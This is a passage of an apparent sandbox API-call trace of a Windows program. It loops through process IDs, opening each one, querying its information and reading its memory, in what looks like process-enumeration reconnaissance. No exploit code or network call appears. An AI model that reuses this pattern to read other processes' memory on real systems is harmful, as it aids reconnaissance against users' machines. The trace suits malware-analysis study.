_Buffer="5552") returned 0x0 [0357.941] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5552") returned 4 [0357.941] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.941] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.942] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15b0) returned 0xa9c [0357.942] GetLastError () returned 0x0 [0357.942] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.942] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.942] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.942] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.942] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.942] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.943] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.943] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3f9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.943] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.943] malloc (_Size=0x5e) returned 0xeb6150 [0357.943] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ae, lpBuffer=0xeb6150, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0357.944] free (_Block=0xeb6150) [0357.946] CloseHandle (hObject=0xa9c) returned 1 [0357.946] _ui64tow_s (in: _Value=0x15cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5580") returned 0x0 [0357.946] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5580") returned 4 [0357.946] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.946] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.947] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15cc) returned 0xa9c [0357.947] GetLastError () returned 0x0 [0357.947] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.947] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.948] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.948] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x21a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.948] malloc (_Size=0x66) returned 0xeb6620 [0357.948] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722b6, lpBuffer=0xeb6620, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0357.949] free (_Block=0xeb6620) [0357.950] CloseHandle (hObject=0xa9c) returned 1 [0357.950] _ui64tow_s (in: _Value=0x15e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5600") returned 0x0 [0357.950] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5600") returned 4 [0357.950] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.950] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.951] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15e0) returned 0xa9c [0357.951] GetLastError () returned 0x0 [0357.951] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.951] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.952] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.952] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25b020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.952] malloc (_Size=0x6c) returned 0xea90a0 [0357.952] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922bc, lpBuffer=0xea90a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.953] free (_Block=0xea90a0) [0357.953] CloseHandle (hObject=0xa9c) returned 1 [0357.953] _ui64tow_s (in: _Value=0x1614, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5652") returned 0x0 [0357.953] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5652") returned 4 [0357.954] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.954] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.954] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1614) returned 0xa9c [0357.954] GetLastError () returned 0x0 [0357.955] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.955] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.955] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.955] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x381020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.956] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.956] malloc (_Size=0x54) returned 0xeaa3b0 [0357.956] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22a4, lpBuffer=0xeaa3b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeaa3b0*, lpNumberOfBytesRead=0x0) returned 1 [0357.957] free (_Block=0xeaa3b0) [0357.957] CloseHandle (hObject=0xa9c) returned 1 [0357.957] _ui64tow_s (in: _Value=0x161c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5660") returned 0x0 [0357.957] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5660") returned 4 [0357.957] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.957] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.958] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x161c) returned 0xa9c [0357.958] GetLastError () returned 0x0 [0357.958] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.959] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.959] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.959] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.959] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.959] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.959] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.959] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x360020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.960] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.960] malloc (_Size=0x6c) returned 0xea9220 [0357.960] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6a22bc, lpBuffer=0xea9220, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0357.962] free (_Block=0xea9220) [0357.962] CloseHandle (hObject=0xa9c) returned 1 [0357.962] _ui64tow_s (in: _Value=0x1638, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5688") returned 0x0 [0357.962] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5688") returned 4 [0357.962] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.962] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.963] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1638) returned 0xa9c [0357.963] GetLastError () returned 0x0 [0357.963] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.963] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.964] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762258, lpBuffer=0x5ec5a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.964] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.964] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.964] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.964] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x761c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.964] malloc (_Size=0x78) returned 0xea8ba0 [0357.964] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7622c8, lpBuffer=0xea8ba0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0357.965] free (_Block=0xea8ba0) [0357.965] CloseHandle (hObject=0xa9c) returned 1 [0357.965] _ui64tow_s (in: _Value=0x1640, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5696") returned 0x0 [0357.966] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5696") returned 4 [0357.966] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.966] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.967] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1640) returned 0xa9c [0357.967] GetLastError () returned 0x0 [0357.967] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.967] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.967] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.968] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.968] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.968] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.968] malloc (_Size=0x6e) returned 0xea90a0 [0357.968] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22be, lpBuffer=0xea90a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.969] free (_Block=0xea90a0) [0357.969] CloseHandle (hObject=0xa9c) returned 1 [0357.969] _ui64tow_s (in: _Value=0x1648, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5704") returned 0x0 [0357.970] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5704") returned 4 [0357.970] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.970] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.971] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1648) returned 0xa9c [0357.971] GetLastError () returned 0x0 [0357.971] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.971] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.972] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.972] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.972] malloc (_Size=0x6c) returned 0xea9520 [0357.972] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222bc, lpBuffer=0xea9520, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0357.973] free (_Block=0xea9520) [0357.973] CloseHandle (hObject=0xa9c) returned 1 [0357.973] _ui64tow_s (in: _Value=0x1650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5712") returned 0x0 [0357.974] _vsnwprintf (in: 